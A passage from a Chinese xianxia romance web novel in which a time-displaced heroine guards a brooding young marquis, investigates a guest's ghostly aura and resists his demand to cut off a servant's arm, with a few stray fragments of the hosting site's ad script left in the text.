“所以母亲一开始想把她送到我房里来。”慕璟明很是不满地抬手覆上她拍在自己脸上的爪子,掰着她的指头要往下扯,却又不敢用力似的,倒成了不轻不重的抚弄捏握。 他似乎觉得这样玩着对方的手指也很有意思,就轻抚着少女的指节笑道:“但你也看到了,她并不乐意。” 璃音红着脸甩掉他越来越不安分的手,哼道:“你好像听起来挺遗憾的?” “遗憾?”慕璟明挑眉一笑,那笑颇具嘲讽,“还是我父亲比较遗憾吧。” 璃音也不禁替远在前线奋战的武宁侯默了一默,这算什么,本想派个心腹兼情人来威慑和监视一下府中夫人,结果赔了夫人又折兵……啊,不对,是赔了兵又折夫人。 这时她脑中不自觉浮现出楚雁儿在公堂上的那句话来。 ——“他可以娶两个妻,我凭什么不能有两个夫?” 这武宁侯妻妾成群,养在边关的情人更是一大把,正妻死了不到三个月就急着续弦,但他肯定万万想不到自己的妻子和情人竟成了真爱…… 以为自己是执棋者,自己只在高处看着,要看黑白互相吞吃,运筹帷幄,掌控人心,结果黑子爱上白棋,白棋臣服于黑子,早已暗中融为了一体,执棋者反倒成了个笑话。 而璃音觉得这位侯爷没什么好可怜的,挺活该。 但慕璟明就有点可怜了。 就璃音今日观察到的,不似楚夫人的柔弱无主,晚枝的手腕和性格都很强硬,若她果然爱上了楚夫人,那么她势必会将能威胁到楚凝一切幸福的障碍扫除。 楚夫人无子嗣时,慕璟明尚且安全,甚至她对他的那些宠爱与关心,可能也都有着八九分的真实。 可现在楚夫人怀了身孕,那么晚枝眼中的那些障碍里面,就一定包括慕璟明。 今日来应征的那个矮胖厨子,很可能就是晚枝的手笔。 至于楚夫人现在是怎么想的,对这些究竟知不知情,她那原本八九分的真实里到底还剩了几分,就都无从得知了。 想到这里,璃音抬眼望了望榻上的少年。 他正翻了压在褥子下面的破军出来,迎着一室冷辉,拿帕子将剑身细细擦过,又再藏回褥子下面。 抬起头来,看她这样专注地望着他,稍愣一瞬,就有些开心似的,冲她笑了开来。 可他今日喝下楚夫人递来的那碗鱼汤的时候,究竟在想什么呢? 他好像一个故意用脖颈贴住刀锋行走的人,期望那刀永不落下,却又在某些时刻,在心里的最深处,盼望着它早点落下。 没有人会比璃音更明白这是种什么感觉。 而在她看出此节之后,他对她警惕又放任的态度,他对周身一切挑剔又淡漠的古怪脾气,他总是乍晴乍雨的心绪……他身上的种种矛盾之处,终于都有了解释。 因为璃音知道了,此处的慕璟明,竟与她一样,也是个挣扎着的求死之人。 63. 第62章 楚作戎 但她和慕璟明终究还是有些不一样的。 她曾犯下过无可挽回的大错,她的痛苦,她的挣扎,她的不开心,都只是一个罪人无地自容的逃避,是她让所有人失望的惩罚。 而慕璟明的心里更像是一片荒芜,有些不甘愿因落败而死,却又有些无所谓活。 所以在他隐秘的内心深处,一直在秘密地等待着,等待一个可以让他理所当然死去的时刻。 所以他会毫不犹豫地杀掉那些刺客,但也会不做任何抵抗地喝掉母亲亲手端来的“毒”鱼汤。 这一份隐秘的期盼,或许连慕璟明自己都未能清楚地意识到。 但璃音曾独自在月牢中艰难地等待一场属于自己的处决,等了整整三百年,她当然能意识到此刻的慕璟明在等什么。 他背对着她,似乎睡着了,也许正警惕又期待着她欺近身去,翻出他方才当面告诉了他位置的利剑,往他心口捅上一下。 “小七,你是不一样的。” 璃音不知为何,眼眶有些湿了,他和她怎么可以一样,她是坏蛋,是妖女,是会吃人的恶魔,可他是那样干净澄澈的一捧星辉,他怎么可以也想要去死呢? 她不知道自己是不是流泪了,她向来只有躲进谁都看不见的角落,才会流泪的,或许是被勾动心事,又或许是今晚的夜色过浓,让她有了流泪的冲动:“你明明……你明明值得好好活着啊。” 但被暮色偶尔牵动的脆弱,也只需悄无声息地留在暮色之中。 翌日一早,慕璟明解了璃音腕上的禁制,就又神采奕奕地去过属于小侯爷的放恣生活了。 璃音是个酷爱钻研的人,但她向来只钻研自己觉得有意思的事。 像煮饭做菜这种事,她就觉得没什么意思,要她钻研是不可能的。 而且她怕火,讨厌灶火燃在身边那种热烘烘的感觉,就更不爱在厨房多待。 于是中午,她照旧用筷子拨熟了一锅菜叶给小侯爷端上了。 晚上,继续糊弄一锅菜叶。 第二天中午,还是菜叶。 童墨嘴角抽了抽,转头一看,小侯爷倒吃得挺开心,他嘴角就抽得更厉害了。 到第二天下午,府里来了客人。 来的是楚夫人的弟弟,论辈也算是慕璟明的小舅舅,不过两人年纪相仿,彼此相处起来倒是没什么拘束,很聊得来,所以小舅舅来了府上,拜过姐姐,就直奔慕璟明院里来了,两人也不知在聊什么,一直聊到饭点,就说要留下来吃饭。 童墨真怕璃音又端出一盘子菜叶来敷衍,平日里仗着小侯爷纵容,糊弄糊弄也就罢了,今日好歹有客,可不能由着她乱来,失了侯府的礼数。 他刚要跑去厨房提点她几句,就见璃音手里提了两个大食盒回来,他跟上去一看,才知道这丫头竟去醉仙楼打包了一整桌的好肉好菜,直接换用侯府的碗碟装了,就要给客人端过去。 童墨:“……” 谁精得过这丫头。 璃音觉得自己身上优点不多,但有自知之明绝对要算一个,她当然不会真让自己的手艺去给侯府丢面子,不过她这顿饭买得殷勤,还有另一层缘故,那就是因为今天来的客人,是楚作戎。 是在四年后,将会画出那幅宴饮行乐图的楚作戎。 而且他还是楚雁儿的先祖呢。 璃音对他的兴趣可真不是一点半点。 于是她一边布菜,就一边打量这位楚公子,看他约摸二十岁上下,竹青鹤氅,锦袍玉冠,斯文秀雅,一看就是个惯爱舞文弄墨的,偏名字取得威武,与他通身的文人气质全不相称。 左司马一门武将,满心希冀儿子以后也能是个威猛的大将军,因此给他取名叫做楚作戎,却不想儿子越长大竟越成了个阴柔书生的模样,二十岁了,也不娶亲,整日只知埋头作画,一说去战场,就摇头摇得发冠和眼泪一齐掉下来,气得父母又打又骂,连声哀叹,最后也只能是无可奈何。 这两天逼婚似乎又逼得紧了些,楚作戎坐在慕璟明的屋子里,也是一声接着一声地叹气:“唉,这两天我爹又催我娶妻,我也只能来你这躲躲清净。” 慕璟明含笑瞥过一旁明显竖起了耳朵的少女:“娶妻不好么?” “我为什么要娶一个面也没见过的姑娘。”楚作戎满身拒绝,连连摇头,“再说,你也知道我在外面是什么名声,那姑娘被说了与我的亲事,估计巴不得我哭着去跟父亲拒了呢。” 璃音听了这话,觉得这人倒真有点意思,不由趁着给他摆碗筷时,又多瞧了他两眼。 这一瞧,却把她瞧得一怔。 楚作戎身骨清瘦,眉眼恹恹,但因他自带一股厌世文弱的风流气质,与他这副形貌可谓是十足相得益彰,故而璃音乍看之下,并未察觉出什么不妥。 但此时凝神一瞧,竟见他眉宇间隐隐笼着一层阴气,这种阴气是阴灵独有的,一般不该出现在活人身上。 璃音细细打量着楚作戎的眉眼,布置碗筷的动作就不禁慢了又慢。 这人要么已经死了。 要么身边常年有个死人作伴。 但无论哪种情况,都让璃音觉得眼皮跳得厉害,有些不妙。 她给楚作戎布置的那一副碗筷拿得很慢,放得却极快,快到楚作戎都不由得侧头打量了这个奇怪的小丫头一眼。 而璃音一放下碗筷,就忙暗暗掐着指头算了一卦。 这一算之下,更觉不妙。 她这一卦却不是为楚作戎,而是为慕璟明占的。 她占出慕璟明这一生,最后死得不算好。 虽说这位慕小侯爷于她而言,其实是九百年前的古人,他这一生的结局不管是什么,总归都是一个死,而且早已死了九百年了。 但死和死之间,也是有不同的。 他是下凡历劫的神君,若只是肉/体在凡间死亡,死后归位,下界的一切便如云烟过眼,他仍会是紫宫里那位坏脾气的北斗第七星君。 但他的魂魄若是在凡间受到损害,那这损伤可是要跟着他回到天宫的。 甚至若是慕璟明的魂魄遭了妖鬼吞噬,那么他就再也无法归位,世间就将再无摇光神君了。 想到这里,璃音的心尖和手指不由得一起颤了一颤。 就算凡间的慕璟明可能想死,但天上的摇光神君可未必有这想法,而且看他对揽华无意间寻死时的态度,神君是绝对不会想要去死的。 更别提她还在四月的暖风里向他承诺过的,一定会护他周全,要助他往后都逢凶化吉,吉祥如意的。 璃音指骨无声地拢了拢,这个阴气缠身的楚作戎跟慕璟明走得这么近,不知会引些什么不干净的东西过来,实在是个大雷,但若现在设法把他赶走,四年后可能就不会再有那张宴饮图,那么她出现在此时此地的时空因果就会遭到破坏。 她眉心越锁越紧,一回头,忽见慕璟明正也满脸阴气,不大高兴地盯着自己。 只不过那可不是死人的阴气,而是一被人忽视就不爽的小祖宗脾气。 当然,他这种小狼压着喉咙不满低吼般的脾气和神情,璃音从没怕过,甚至一律被她打为了撒娇。 撒娇挺好,至少有生机,有活气,比他那晚空洞望着天幕时的样子让她安心多了,也让她方才躁乱的心绪有了一瞬宁定。 眉心不自觉舒展开来,当下笑着抓起一副碗筷直接塞进慕璟明手里,熟练地给他顺毛:“今天不是有客人吗,明天再给你做你爱吃的。” 童墨在一旁听着看着,嘴角又不自觉抽动起来了,心想这女的说的小侯爷爱吃的,该不会是指她用筷子炒的那些菜叶吧。 但慕璟明看似不情不愿地“嗯”了一声,眼底的沉冷却明显消散了,甚而隐隐浮现出一点清爽笑意。 楚作戎见状,惊得下巴都要掉下来,这才赶紧仔细端详起身边布菜的这位姑娘来,看了半晌,忽地激动到拍桌而起,赞道:“美,实在是美,我还从未见过这样温碧似玉的美人。” 他这赞赏实在不含有男子对美貌女子的渴求,而全是画师看到一件极美事物时的心痒。 他看得入迷, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 完全没注意到慕璟明越来越难看的脸色,只自顾自往璃音身上瞧着,越瞧心越痒,终于忍不住说道:“姑娘,不知可否赏在下一个荣幸,让在下为你描一幅画?” “好啊。”璃音答应地爽快,她本就有心探探这个楚作戎,“去楚公子府上吗?” 慕璟明脸上冷得能冻霜,但居然也没不让她去,只用眼神不断向楚作戎发射着寒光:“小舅舅墨笔精妙,不知届时侄儿可有幸在旁一观。” “好啊,来,都来!”楚作戎却在这方面少根筋似的,站在那里兀自兴奋地拍手,“明儿中午就来,小舅舅请你们喝酒。” 后面他和慕璟明两人又聊了些什么,璃音就没再听了,而是回房往妆镜前一坐,就开始细细琢磨,要如何不叫那些阴气侵扰到慕璟明的身上。 摇光的仙法和记忆都被封着,她不敢妄动灵力,唯恐渴血之症发作,无人压制得住。 她静坐镜前,思来想去,直想到日头完全西坠,点点星光浮上了夜幕,才终于灵光一闪,在屋内翻出自己那身青衣纱裙,还有一个针线篓子,像做了什么极困难的决定似的,一咬牙,就往一根小小的绣花针上穿了线,在裙子的内衬里歪七扭八地缝起线来。 璃音正艰难和女红做着斗争,忽然门外起了一阵吵嚷。 似是童墨要拦着什么人进来,但显然是没拦住,不一会儿,一个肤色黝黑的彪形大汉就踏着大步闯了进来,他直闯进璃音屋内,指了璃音的鼻子就喊道:“今晚我家郎君食用的饭菜,是你给准备的?” “这是楚公子家来的人。”童墨落后几步跟了进来,忙愁眉苦脸地向璃音说明情况,“说是楚公子今晚一回府,就上吐下泻个不停,这会儿人都晕死过去了。” 那大汉怒瞪着璃音,向童墨道:“何消说,定是饭菜里被这毒妇投了毒,我打听过了,连这侯府她也是新来的,焉知不是哪国派来的细作,我今日也不为难你们武宁侯府,但这毒妇必须跟我回去受审。” 说着一把就抓起璃音的胳膊,要往门外拉:“走,跟我去见家主!” 璃音倒无所谓去左司马府走一趟,要能让她有机会搭一搭楚作戎的脉,就更是意外之喜了,反正今晚的菜都是她直接从醉仙楼买来的,要脱罪也方便,于是当下也不辩驳,只是由那黑大汉拖着自己走。 拉扯着走到房门口,却忽然有一只胳膊横伸了出来,拦住两人去路。 璃音扭头一看,不由轻怔,慕璟明什么时候来的? 他瞧也没瞧那黑汉一眼,只是静默地看着她,脸上又渐渐现出那种空洞的神色来。 璃音心猛地一沉。 他也觉得那毒是她下的? 这本是个合理的怀疑,她不该为此感到难过。 只是…… 不知为何,前世虞家村惨剧发生后的那一夜,商止师兄那张悲痛的面庞竟在此时浮现了出来。 “阿横,你知不知道,你杀人了!” 他是那样的不可置信,那样的绝望又失望。 无论过去多久,她都忘不了他那个失望的神色。 她也从来不敢想象,若那时巫真师姐还活着,若是这份失望出现在了巫真师姐的脸上,她还有没有多活一刻的勇气。 还有商月,尽管他是那样温柔地安慰她,不惜一切地包庇她,甚至为她顶罪,但这份包庇仍旧是以失望为前提的,他的很多温柔总是以“失望”为前提的。 “阿横,你的心冷一点,硬一点也没关系,我会把它捂热的。” “阿横,个子矮是矮了点,但我不介意。” “阿横,虽然你的脾气是怪了点,但我喜欢。” 但后来他又要说:“阿横,你不愧是铁石做的身子,更不愧是铁石做的心肠!” 为什么她总是在让他们失望呢? 慕璟明也对她失望了吗? 所以才露出这样空洞的眼神。 就在她这突如其来的一阵不安中,慕璟明开口了,他的眸光隐在暮色之中,问出的话却是直截了当,开门见山:“是你做的?” 64. 第63章 他和他在重合 璃音没想到他会这样直接地开口问她。 她站在夜风里愣了一愣,还没来得及张口,就听到慕璟明沉着声又问出了第二句:“你的目标是他?” 眉锋冷肃,字字透凉,一副凶冷的吓人模样,但一问完话,嘴角就藏不住情绪地微微向下撇着,又怕被人看出来似的,不甘心地向上抿了一抿,把两瓣好看的唇都抿成了一条直线。 璃音盯了他的表情一会儿,半晌,眨了眨眼,有点想笑。 原来他不是生气,也没有失望,而只是……不大高兴。 至于为什么不高兴,她也渐渐能摸到一些缘故了。 见她迟迟不答话,小侯爷那唇线就越绷越紧,眼看那唇色都绷得有些发白了,璃音赶紧先回答了他第一个问题:“不是我做的。” 然后差点没忍住笑意,只好也抿了抿唇,才开始回答他第二个问题。 她没有回答“我的目标不是他”,而是看着慕璟明的眼睛,笑着同他说:“我是为你来的。” ——“我要么就做她心上第一等的人,要么就什么也不做。” 她没忘记摇光神君说过的这句话。 人间的慕璟明和天上的那位神君,虽然有很多地方不一样,但内里终归还是同一个人,有些底色是不会变的。 比如这一份不甘屈居人下的傲气。 他不肯做别人心里的第二等人,他必须是特殊的,而且要是最特殊的。 哪怕只是刺客心里的刺杀名单,他也不能忍受自己被列在第二位。 他刚才不高兴的肯定就是这个。 很幼稚,很无聊,很莫名,但璃音又觉得有点可爱。 她是为他而来的,他在向她确认这一点,至于是来杀他的也好,或是对他另有所图也罢,那些都挑战不到他心底埋藏最深的骄傲,但她不能是为别人而来。 果然,慕小侯爷听完这一句,抿紧的唇就放了下来,接着一个眼刀直直斩向黑大汉抓在璃音胳膊上的那只手上,吓得那彪形大汉浑身一个激灵,指爪不知不觉就松了开来。 小侯爷牵住少女坠下去的手,扭头吩咐童墨:“备车,去左司马府。” 他要陪她一起去? 璃音眨眨眼,反应过来,忽然想到什么,轻轻“啊”了一声,口里一面说着“等等”,一面甩开小侯爷的手,转身小跑着就回屋子里去了。 慕璟明猝不及防被她放了手,唇就又抿了起来,探身往屋内一看,却见她抓起床上一条青色纱裙,嘶啦一声,就把裙摆下的一大块里衬扯了下来,拿在手里,又赶紧小跑着出来,挺得意似的,就使劲把这块布料往小侯爷的衣襟里塞。 “这个你要时刻带着,不可以拿下来!” 这上面可有她辛辛苦苦绣上的护身驱鬼的阵法呢,璃音边塞边觉得自己真是个天才,只是今晚没来得及给慕璟明的衣服也绣上,只好先让他把自己这件带着了。 一抬头,才发现小侯爷颊上有点微红。 而旁边那位黑汉大哥神情更是古怪,手指头在裤腿缝上不自然地抠着,一张黑脸透红,两只眼睛一会儿看天,一会儿瞪地,一副不知该往哪里瞟的样子。 璃音呆了一呆,这时候才反应过来,往男人胸口塞自己的裙摆内衬什么的,好像是有点…… 只怪她对自己想出的这个绝妙主意太满意、太兴奋了,又担心楚府里真有什么阴鬼,怕那些不干净的东西侵扰了慕璟明的神魂,这才把阵法往慕璟明身上塞得急切了些。 不过事情都做出去了,她也没什么可扭捏的,而且她看慕璟明眸光闪动的模样,没一点不高兴的意思,就放心地继续用力把裙衬给他塞好,然后隔着外袍在他胸口拍了一拍,吩咐:“带着,吃饭睡觉都不许离身,知道了吗?” 没什么可扭捏,但终究还是有些尴尬的,璃音说完这句,也不等慕璟明回答,就一扯他的衣袖,干咳一声,迈步道:“走了。” * 有慕璟明陪着,自然没什么人真敢上来盘问璃音了,她很顺利就诊到了楚作戎的脉。 摸过脉后,璃音也算松了一口气。 首先,楚作戎是个活人。 但对于今天的她而言,有些棘手的是,他也确实是吃坏了肚子。 不过也没到中毒那么严重,应该只是在冷天里吃了点凉的,刺激到了肠胃,放在旁人身上也不是什么大事,吐一吐、泻一趟,也就差不多了,岂料楚作戎身体底子弱,肠胃也弱得离谱,吐了一趟竟就给吐得虚脱了。 璃音搭着脉,看左司马楚蠡一脸焦急地将自己望着,想说点什么,又碍于慕璟明不敢说的样子,就先与他说了楚作戎的情况,好叫他宽心:“没什么大碍,睡一觉,养一养精神,自然就好了。” 但楚蠡显然并没有感到宽心,还是一脸“杀人犯来当仵作,完啦完啦”的愁苦模样。 好在此时,楚作戎醒了。 且醒得可谓是惊天动地。 楚作戎一睁眼,看到床边坐着一个女子,当即大惊失色,再垂眸一看,自己洁白的手腕上竟还搭着那女子的手指,更是宛若被登徒子轻薄了的娇弱人夫一般,尖叫一声,抽回手,猛地抓起被子盖过头顶,就躲在被窝里叫喊着赶人出门:“走开!都走!你们怎么好随便进别人房间!我可没让你们进来,我也没让女人碰我,出去,都出去!” 被楚作戎当做臭流氓,疯狂隔着被子往床下踢的璃音愣了一愣,起身向楚蠡道:“楚大人,令郎恐怕……” 她刚想说自己诊断失误,楚作戎身体是没大问题,但神魂状态恐怕有点堪忧,却见楚蠡大舒一口气,倒像是宽心了,笑着摆手打断她的话,招呼她和慕璟明出门:“走了走了,这逆子一向如此,不肯别人进他房间,现在有力气赶人了,看来是真没事了。” 原来他正常的时候,就是如此的么? 璃音出门前,又回头看一眼在被子里缩成一团的楚作戎,正好撞上他鬼鬼祟祟露出来的两只向外偷瞄的眼睛。 惊得楚作戎一个哆嗦,当即缩回被子里大喊:“我没看她!没看她!是她看的我!” 但看楚蠡脚下不停,完全不当回事的样子,璃音不禁困惑地拉一拉慕璟明的衣袖,用眼神向他询问:这样……真的是正常的么? 慕璟明反手牵住她扯在衣袖上的手,轻声道:“回家再说。” 家? 璃音微怔。 对她来说,这是一个过去了太远太远的词了。 附灵,夺舍……种种不好的设想与忧虑好像都被“回家”这个词冲淡了。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >她向慕璟明轻轻“嗯”了一声,指尖在他掌心无意识地蜷了蜷。 管他什么天大的事,都回家再说吧。 楚作戎既然已经醒来,楚蠡也亲口认证了儿子行为举止间的“正常”,而且慕小侯爷手都和人家牵上了,自然是没人再逮着璃音找茬了。 楚大人亲自送两人送到府门,一路上不停和慕璟明寒暄客套,又问了几句女儿楚凝在侯府的近况,到得门口,慕璟明忽道:“今晚风风火火来侯府抓人的那位呢?” 璃音心头忽然升起一种不好的预感。 这话题转得突然,楚大人闻言也是稍顿,不知是真记不清具体派去的人了,还是同璃音有了同样不妙的预感,有意保护府中下人,只含糊道:“哦,就是作戎院里的一个随侍吧。” 清夜寂静,慕璟明站在一片如银星辉下颔首,他捏一捏掌心里少女微凉的指骨,嗓音透骨清寒:“我们去把他那条胳膊砍下来。” 璃音心里咯噔一下。 果然! 像在烛火下对齐同一个人但色调不同的两张画像,初时要细细比对,纸张摩擦,线条交错着重叠,最后重合的墨线越来越多,最后仿佛能听到咔哒一响,所有线条会严丝合缝地对上,向拿着纸张努力对齐的那个人宣告:是的,他们就是同一个人。 璃音明显感觉到,眼前的慕璟明与天上的那位摇光星君,距离那福至心灵的咔哒一响,已经越来越近了。 ——“老师刚才为什么不杀了他?” 这是之前在瑶池宴上,羑和仙君对她吐露了几句酸言酸语之后,神君忽然问她的话。 当时这话着实把她惊了一下。 苍生,大义,战场,牺牲……在她的印象中,摇光神君好像总是和这些字词联系在一起的。 总之怎么看都是个心怀天下的大英雄。 但常在某些不经意的时刻,璃音却发觉,他这个人对苍生好像并没有多少热爱,反而有种近乎天真的冷漠。 她还记得自己从万壑千山图中斗龙归来的时候,他竟对楚雁儿还有虞姐姐的后续毫无关心,一无所知。 好像神明护佑着苍生,但神是神,苍生是苍生,泾渭分明,苍生只是神明必须要护佑的一样东西,无关仁义,无关道德,除此之外,彼此疏离而不相干。 他生即是孤星,是前锋,是利剑,他从没有杀人的负担。 因为剑就是要用来杀人的。 这种冷漠重叠到慕璟明的身上,便成了他的杀伐果断,也成了他眼底偶尔的空洞,成了他现在轻描淡写的这一句:“我们去把他那条胳膊砍下来。” 璃音第一次反手握住他的手掌,试图挽救那位黑壮大哥的胳膊:“他只是心急楚公子的病情,拉了我一下而已。” “嗯,不错,他只是拉了你一下。” 慕璟明点头,竟是颇为赞同的样子,璃音刚松一口气,刚想夸一夸他的孺子可教,就见他倏地一笑,那笑难得带了点邪气,甚至仿佛笑出了一点森冷獠牙:“所以不该是我们,应该是你独自去把他的胳膊砍下来。” 璃音:“……?” “乖。”慕璟明伸手揉了揉她的发心,然后忽然把她往府门里一推,声音冷漠强硬到近乎残酷,“你去砍下他的胳膊,我们就回家。” 65. 第64章 惩罚 楚蠡不知道眼前这对少年男女是不是在吵架。 盖因他和自家夫人吵架时,哪次不是互相指鼻瞪眼,摔碗砸碟,嗤哼怒骂,反正是不会像那样把头摸了又摸,手牵了又牵,语气还这么黏腻腻的。 “乖,楚叔叔年纪大了,要睡觉了。”慕璟明看璃音被自己推了一把,俏脸立马凝起霜来,就又上去牵住她微凉的手,把砍人的话说得像在哄人,“你早点砍完那人的胳膊,也好放叔叔去睡觉。” 突然被说年纪大的楚蠡:“……” 璃音是被慕璟明那一推气得不轻,但看他立刻凑着脑袋贴了过来,火气又没那么大了。 但这家伙说出口的话依然不大像话,想他在这方面脑子是真的有点轴,便试图提点道:“他是拉了我一下,但若说要砍胳膊,那你刚刚还推了我一把呢,我是不是也要砍了你的胳膊?” 谁知少年抬起手臂瞧了瞧,就微一耸肩,无所谓地道:“你想砍自然可以来砍。” 璃音:“……” “我本来是要杀了他的。”慕璟明补充,“但看在楚府的面子上,我只说要他一只胳膊。” 星辉流泻在他墨色的发丝上,像一匹闪着银光的凉缎,叫夜色中的他总是比白日里要多一层疏离。 “你要是想,也可以来杀了我。”他笑得漫不经心,对这事毫不在意似的,但牵着她的手却缓缓松开了。 璃音用力将他要松开的手握紧,总觉得被夜风轻轻一吹,他就要变成天上那些离她很远的星星了。 他无言静默了几息,她道:“为什么一定要杀来砍去的呢?” 慕璟明任她牵着,微凉的笑意像融在银河里面:“外面那些杀来砍去,又有什么原因,在这乱世里面,生生死死,不过各凭本事罢了。” 璃音看着这样的他,心想,他不把别人的性命放在眼里,却不是觉得自己的性命高贵,而是一切生命、杀掠、征伐,在他那里都平等地没什么所谓。 刀来剑往,砍头杀人,在他眼里,都只是各凭本事,能赢下来就活,输了就死,生死输赢之外再无别事,而无论谁输谁赢,又都是天经地义,稀松平常。 他也不是嗜杀,不是残忍,他不会无故杀人取乐,只是一旦动了杀念,就会毫无顾忌地下手。 在乱世里,他这样也不算错吧,但就是总觉得…… 璃音望着他被洒满冷辉的清俊眉眼。 总觉得这样的日子,就算赢到最后,赢上千年万年,过得也不会很开心。 她第一次模模糊糊感觉到,西王母将自己指定成这位神君的小老师,好像是真的期望她能教会他一些什么东西的。 但具体是什么呢,她到底该告诉他什么,又该去教会他什么呢? 她心中朦朦胧胧,像隔了一层夜雾,好像在慢慢窥见一些东西,却仍旧有些瞧不真切。 这时候一个黑壮大汉快步迎面奔了过来,向慕璟明躬身拱手,大声道:“慕小侯爷,不必在这里为难楚大人了,今夜小人得罪了这位姑娘,小人甘愿受罚。” 这大哥倒是讲义气,主人有意包庇,他还自己出来了。 楚蠡也在一旁帮他说软话。 璃音并不喜欢受委屈,甚至可以说很讨厌,但她是个有仇当场就报的性格,斗嘴也好,打架也好,总之立刻就会找个方式,把气出掉。但若当时当场放过人家了,那就是真的放过了,事后追究,秋后算账,这些都不是她的行事作风。 她是真的懒得追究。 她看现在这位大哥认错态度良好,更没追究的意思了,于是轻轻去晃慕璟明的手,她记得神君很吃这套的:“小七,算了吧。” 但没想到今晚的慕璟明根本不吃这套。 “为什么要算了。”他冷着语调,突然不知又想起什么,甚至对她皱起了眉,“招厨那天,那个胖子言语间羞辱你,你为什么也不说话,当时我若不叫住他,你是不是也要算了。” 璃音本能地抵触这些话,像抵触那些抹上脸来的胭脂一样,手也不晃了,半晌,凉凉地向慕璟明扔去一句:“你不用把我想象成什么心软的人,我也不需要你为我出头。” “我若为你出头,他们两个现在都已经死了。” “反正我今天没兴趣砍别人的胳膊。” “什么时候砍完,什么时候回家。” “好啊,那就别回家了,大家都在这里站个天荒地老好了。” 两人你一句我一句,话赶着话,越说语气越不妙。 但楚蠡看看两人始终牵在一起的手,还是摸不准眼前这对少年男女究竟是不是在吵架。他只觉夜风渐起,府门大开,所有人就站在风口里面,那十月里的冷风就嗖嗖地直往身上吹,吹得他不自觉打了个寒噤。 璃音本来真打算在这府门口站个天荒地老了,看她和慕璟明谁犟得过谁,但看楚蠡在凉风这么里一抖,还是忍不住道:“楚大人年纪大了,让人家陪着站在冷风里像什么样子。” 再一次被说年纪大的楚蠡:“……” 他今年是四十岁,不是八十! “童墨,回府!”璃音死拽着慕璟明,就把慕璟明往马车上赶。 她想明白了,回不回家这种事,甚至可以说世上的所有事,还不是谁力气大谁说了算。 慕璟明早就见识过她的一身怪力,知道挣脱不动,只好一脸寒霜地被她塞进马车里,但他也没就此认输,而是遥遥一点府门里的黑大汉,吩咐童墨:“把他带上。” 于是两人之间的“战火”从左司马府一路烧回到武宁侯府,而且越烧越旺,慕璟明甚至去大厨房那边揪出了那天出言不逊的矮胖男厨子,和那黑大汉一起扔在院子里,逼着璃音“惩罚”他们。 他说就按着府里的规矩,乱说话的割舌,乱拉人的砍手。 末了还搬了把躺椅过来,往上面闲闲一躺,一面擦着他那柄破军长剑,一面跟个监刑官似的,在那里给璃音定规矩:“不罚完,不许睡。” 璃音真的相信他不是在给自己出头了。 这到底是在惩罚谁啊?! 怎么感觉根本是冲她来的! “不睡就不睡。”璃音踹一脚慕璟明的躺椅,踹得他差点从椅子上侧翻下来,跟他叫板,“我不睡,你也别想睡。” 反正她也不用睡觉,她倒要看看,这样子耗下去,最后受到罚的究竟是谁。 慕璟明坐起身子冷哼:“你打我的时候倒是不留情面。” “你和他们能是一回事吗?”璃音又踹他一脚。 慕小侯爷挑了挑眉,不说话了,屈起一只手臂枕在脑后,就又闲闲地躺了下去,只又重复一遍:“不罚完,不许睡。” 就开始闭目养神。 璃音一看他的语气神态,就知道,刚才自己一不小心竟把他给骂爽了,于是丢下一句:“懒得理你。” 就别过脸,决意这一晚都不要再跟他说话。 却忽听得滋滋声响,像是肥肉被压上炙板那一瞬的声音,她忙转头一望,果然见一团“黑雾”正撞在慕璟明胸口,被她绣在内衬上的阵法灼成了几缕黑烟,晚风一吹,就消散在了夜色里。 竟真有不长眼的恶灵来侵扰神君灵魄。 这一番惊险情景,肉眼凡胎当然是看不到的。 璃音盯着慕璟明站了一会儿,去搬来一把椅子,又去慕璟明房里把他所有的里衣装了一筐,搬了出来,往凳子上一坐,就点一盏烛火,拿了针,穿了线,一件一件地往上缝起了护身符阵。 期间慕璟明睁眼瞧了一会儿她的动静,指一指院子里还战战兢兢跪坐着的两个大男人,悠悠提醒了她一句“不罚完,不许睡”,就又闭上眼睛,姿态闲懒地躺下了。 璃音缝针缝得投入,差点都要把慕璟明发疯捉来的这两个倒霉蛋给忘了,于是又去搬来两把椅子,让两个人都坐,她也不打算耗着慕璟明不让他睡了,只等他一睡着,或者天亮之后这位慕小侯爷过了疯劲,就放两个倒霉蛋走人。 谁知两人齐刷刷跪在地上,无论如何都不肯去椅子上坐。 就这么怕慕家的这位小侯爷? 璃音心里啧了一声,也不勉强他们坐,就自顾自继续缝针去了。 只她不知道,那跪着的两人,怕的根本不是她所谓发疯的慕璟明,而是她这个举止实在诡异的疯女人。 小侯爷的那些衣服又不破,这姑娘不停地往白衣上面缝白线,还每一针都下得歪歪扭扭的,而且她缝一会儿,就要眸色深沉地往小侯爷胸口盯一会儿,有时视线不经意落在他们二人身上,还要幽幽叹一口气,不是疯的是什么? 随着夜色加深,晚风越吹越凉,少女在这黢黑夜幕中神神叨叨的每一处动作,每一个眼神,每一声叹息,落在跪着的二人眼中耳中,都越发显得邪门无比。 矮胖厨子是个胆小的,禁不住吓,当初被晚枝安排进慕璟明的厨房里,也只是答应监视汇报小侯爷的日常起居,可没别的坏心思。 他哆哆嗦嗦跪到半夜,在璃音的视线又一次落到自己身上的时候,终于吓得夹着屁股一抖,哭喊了起来:“姑奶奶,算我求你了,我错了,我嘴贱,您罚我吧,给个痛快行不行?” 璃音被他这突如其来的一哭,哭得一呆:“……啊?” 这一呆之下,正穿着布料的针头就不小心戳上了手指。 她的手指当然没事,针头却整个歪了。 矮胖子男人只顾哭喊,夜色又重,倒是没注意到这些。 那黑大汉是个习武的,眼力要比那胖子强上不少,被慕璟明捉来院中后也一直尚能勉力淡定,但眼前少女的指头把针尖扎歪的这一幕被他清清楚楚地瞧在眼里,他终于有点淡定不下去了。 邪门,这女的太邪门了! 她有这样的功夫,为什么还磨磨蹭蹭不肯来砍他的胳膊?是了是了,一定是在准备用更邪门的东西来对付他! 寒风萧肃,吹得树叶沙沙乱响,背后一株大树的影子黑黢黢地罩在他身上,随着风响一摇一摇的,此时看在黑大汉眼里,简直就像是一只巨大的黑色影子鬼,摇头晃脑地要吃他来了! 见那少女缓缓放下针线,起身就要过来,他浑身一凛,汗 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 毛倒竖,一滴冷汗从额头沁了出来。 